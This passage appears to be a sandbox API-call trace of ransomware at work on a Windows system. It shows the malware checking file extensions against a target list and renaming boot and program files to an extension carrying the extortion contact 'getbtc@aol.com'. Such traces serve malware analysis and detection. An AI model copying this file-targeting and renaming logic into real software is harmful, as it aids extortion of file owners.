lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.559] lstrlenW (lpString=".1cd") returned 4 [0058.559] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.559] lstrlenW (lpString=".jpg") returned 4 [0058.559] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.559] lstrlenW (lpString=".doc") returned 4 [0058.559] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0058.559] lstrlenW (lpString=".docx") returned 5 [0058.559] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0058.559] lstrlenW (lpString=".pdf") returned 4 [0058.559] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0058.559] lstrlenW (lpString=".xls") returned 4 [0058.559] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0058.559] lstrlenW (lpString=".xlsx") returned 5 [0058.559] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0058.559] lstrlenW (lpString=".ppt") returned 4 [0058.559] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0058.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.559] lstrlenW (lpString=".zip") returned 4 [0058.560] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0058.560] lstrlenW (lpString=".rar") returned 4 [0058.560] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0058.560] lstrlenW (lpString=".bz2") returned 4 [0058.560] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0058.560] lstrlenW (lpString=".7z") returned 3 [0058.560] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0058.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.560] lstrlenW (lpString=".dbf") returned 4 [0058.560] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0058.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.560] lstrlenW (lpString=".1cd") returned 4 [0058.560] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0058.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0058.560] lstrlenW (lpString=".jpg") returned 4 [0058.560] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0058.560] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0058.560] lstrlenW (lpString="msinfo32.exe") returned 12 [0058.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0058.560] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=378880) returned 1 [0058.561] CloseHandle (hObject=0x230) returned 1 [0058.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0058.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0058.561] lstrlenW (lpString=".doc") returned 4 [0058.561] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0058.561] lstrlenW (lpString=".docx") returned 5 [0058.561] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0058.561] lstrlenW (lpString=".pdf") returned 4 [0058.561] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0058.561] lstrlenW (lpString=".xls") returned 4 [0058.561] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0058.561] lstrlenW (lpString=".xlsx") returned 5 [0058.561] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0058.561] lstrlenW (lpString=".ppt") returned 4 [0058.561] lstrcmpiW (lpString1=".ppt", lpString2=".exe") Thread: id = 17 os_tid = 0x9d4 [0035.573] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x37b0298 [0035.574] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x37c02a0 [0035.574] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b02c0 [0035.574] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x564110 [0035.574] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b02d8 [0035.574] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3ca0020 [0035.575] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b02f0 [0035.575] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b02f0, Size=0x20) returned 0x566818 [0035.575] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b02f0 [0035.575] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b02f0, Size=0x20) returned 0x5667c8 [0035.575] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0035.575] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0035.575] Wow64DisableWow64FsRedirection (in: OldValue=0x34dff58 | out: OldValue=0x34dff58*=0x0) returned 1 [0035.575] lstrlenW (lpString="kernel32.dll") returned 12 [0035.575] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566818 | out: hHeap=0x510000) returned 1 [0035.575] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0035.575] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5667c8 | out: hHeap=0x510000) returned 1 [0035.575] Sleep (dwMilliseconds=0x64) [0035.966] lstrcmpiW (lpString1=".ttf", lpString2=".Q1G") returned 1 [0035.966] lstrlenW (lpString="kor_boot.ttf") returned 12 [0035.966] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.147] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=2371360) returned 1 [0036.147] CloseHandle (hObject=0x1a4) returned 1 [0036.147] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0036.147] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.148] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0036.148] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.148] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.148] lstrlenW (lpString=".doc") returned 4 [0036.148] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0036.148] lstrlenW (lpString=".docx") returned 5 [0036.148] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0036.148] lstrlenW (lpString=".pdf") returned 4 [0036.148] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0036.148] lstrlenW (lpString=".xls") returned 4 [0036.148] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0036.148] lstrlenW (lpString=".xlsx") returned 5 [0036.148] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0036.148] lstrlenW (lpString=".ppt") returned 4 [0036.148] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0036.148] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.148] lstrlenW (lpString=".zip") returned 4 [0036.148] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0036.148] lstrlenW (lpString=".rar") returned 4 [0036.148] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0036.148] lstrlenW (lpString=".bz2") returned 4 [0036.148] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0036.148] lstrlenW (lpString=".7z") returned 3 [0036.149] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0036.149] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.149] lstrlenW (lpString=".dbf") returned 4 [0036.149] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0036.149] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.149] lstrlenW (lpString=".1cd") returned 4 [0036.149] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0036.149] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.149] lstrlenW (lpString=".jpg") returned 4 [0036.149] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0036.149] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.149] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.149] lstrlenW (lpString=".doc") returned 4 [0036.149] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0036.149] lstrlenW (lpString=".docx") returned 5 [0036.149] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0036.149] lstrlenW (lpString=".pdf") returned 4 [0036.149] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0036.149] lstrlenW (lpString=".xls") returned 4 [0036.149] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0036.149] lstrlenW (lpString=".xlsx") returned 5 [0036.149] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0036.149] lstrlenW (lpString=".ppt") returned 4 [0036.149] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0036.149] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.149] lstrlenW (lpString=".zip") returned 4 [0036.149] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0036.149] lstrlenW (lpString=".rar") returned 4 [0036.149] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0036.149] lstrlenW (lpString=".bz2") returned 4 [0036.149] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0036.150] lstrlenW (lpString=".7z") returned 3 [0036.150] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0036.150] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.150] lstrlenW (lpString=".dbf") returned 4 [0036.150] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0036.150] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.150] lstrlenW (lpString=".1cd") returned 4 [0036.150] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0036.150] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0036.150] lstrlenW (lpString=".jpg") returned 4 [0036.150] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0036.150] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0036.150] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.150] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.150] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=93248) returned 1 [0036.150] CloseHandle (hObject=0x1a4) returned 1 [0036.150] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0036.151] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.151] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.151] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.151] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.151] lstrlenW (lpString=".doc") returned 4 [0036.151] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.151] lstrlenW (lpString=".docx") returned 5 [0036.151] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.151] lstrlenW (lpString=".pdf") returned 4 [0036.151] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.151] lstrlenW (lpString=".xls") returned 4 [0036.151] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.151] lstrlenW (lpString=".xlsx") returned 5 [0036.151] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.151] lstrlenW (lpString=".ppt") returned 4 [0036.151] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.151] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.151] lstrlenW (lpString=".zip") returned 4 [0036.151] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.151] lstrlenW (lpString=".rar") returned 4 [0036.151] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.151] lstrlenW (lpString=".bz2") returned 4 [0036.151] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.151] lstrlenW (lpString=".7z") returned 3 [0036.151] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.151] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.151] lstrlenW (lpString=".dbf") returned 4 [0036.151] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.151] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.151] lstrlenW (lpString=".1cd") returned 4 [0036.152] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.152] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.152] lstrlenW (lpString=".jpg") returned 4 [0036.152] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.152] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.152] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.152] lstrlenW (lpString=".doc") returned 4 [0036.152] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.152] lstrlenW (lpString=".docx") returned 5 [0036.152] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.152] lstrlenW (lpString=".pdf") returned 4 [0036.152] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.152] lstrlenW (lpString=".xls") returned 4 [0036.152] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.152] lstrlenW (lpString=".xlsx") returned 5 [0036.152] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.152] lstrlenW (lpString=".ppt") returned 4 [0036.152] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.152] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.152] lstrlenW (lpString=".zip") returned 4 [0036.152] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.152] lstrlenW (lpString=".rar") returned 4 [0036.152] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.152] lstrlenW (lpString=".bz2") returned 4 [0036.152] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.152] lstrlenW (lpString=".7z") returned 3 [0036.152] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.152] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.152] lstrlenW (lpString=".dbf") returned 4 [0036.152] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.152] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.153] lstrlenW (lpString=".1cd") returned 4 [0036.153] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.153] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0036.153] lstrlenW (lpString=".jpg") returned 4 [0036.153] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.153] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0036.153] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.153] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.153] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=90688) returned 1 [0036.153] CloseHandle (hObject=0x1a4) returned 1 [0036.153] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0036.153] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.153] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.153] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.153] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.153] lstrlenW (lpString=".doc") returned 4 [0036.153] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.154] lstrlenW (lpString=".docx") returned 5 [0036.154] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.154] lstrlenW (lpString=".pdf") returned 4 [0036.154] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.154] lstrlenW (lpString=".xls") returned 4 [0036.154] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.154] lstrlenW (lpString=".xlsx") returned 5 [0036.154] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.154] lstrlenW (lpString=".ppt") returned 4 [0036.154] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.154] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.154] lstrlenW (lpString=".zip") returned 4 [0036.154] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.154] lstrlenW (lpString=".rar") returned 4 [0036.154] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.154] lstrlenW (lpString=".bz2") returned 4 [0036.154] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.154] lstrlenW (lpString=".7z") returned 3 [0036.154] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.154] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.154] lstrlenW (lpString=".dbf") returned 4 [0036.154] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.154] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.154] lstrlenW (lpString=".1cd") returned 4 [0036.154] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.154] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.154] lstrlenW (lpString=".jpg") returned 4 [0036.154] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.154] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.154] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.154] lstrlenW (lpString=".doc") returned 4 [0036.154] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.155] lstrlenW (lpString=".docx") returned 5 [0036.155] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.155] lstrlenW (lpString=".pdf") returned 4 [0036.155] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.155] lstrlenW (lpString=".xls") returned 4 [0036.155] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.155] lstrlenW (lpString=".xlsx") returned 5 [0036.155] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.155] lstrlenW (lpString=".ppt") returned 4 [0036.155] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.155] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.155] lstrlenW (lpString=".zip") returned 4 [0036.155] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.155] lstrlenW (lpString=".rar") returned 4 [0036.155] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.155] lstrlenW (lpString=".bz2") returned 4 [0036.155] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.155] lstrlenW (lpString=".7z") returned 3 [0036.155] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.155] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.155] lstrlenW (lpString=".dbf") returned 4 [0036.155] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.155] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.155] lstrlenW (lpString=".1cd") returned 4 [0036.155] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.155] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0036.155] lstrlenW (lpString=".jpg") returned 4 [0036.155] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.155] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0036.156] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.156] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.156] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=90704) returned 1 [0036.156] CloseHandle (hObject=0x1a4) returned 1 [0036.156] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0036.156] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0036.156] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.156] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.156] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.156] lstrlenW (lpString=".doc") returned 4 [0036.156] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0036.156] lstrlenW (lpString=".docx") returned 5 [0036.156] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0036.156] lstrlenW (lpString=".pdf") returned 4 [0036.156] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0036.156] lstrlenW (lpString=".xls") returned 4 [0036.156] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0036.156] lstrlenW (lpString=".xlsx") returned 5 [0036.156] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0036.156] lstrlenW (lpString=".ppt") returned 4 [0036.156] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.157] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.157] lstrlenW (lpString=".zip") returned 4 [0036.157] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0036.157] lstrlenW (lpString=".rar") returned 4 [0036.157] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.157] lstrlenW (lpString=".bz2") returned 4 [0036.157] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.157] lstrlenW (lpString=".7z") returned 3 [0036.157] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.157] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.157] lstrlenW (lpString=".dbf") returned 4 [0036.157] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0036.157] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.157] lstrlenW (lpString=".1cd") returned 4 [0036.157] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.157] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.157] lstrlenW (lpString=".jpg") returned 4 [0036.157] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0036.157] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0036.157] lstrlenW 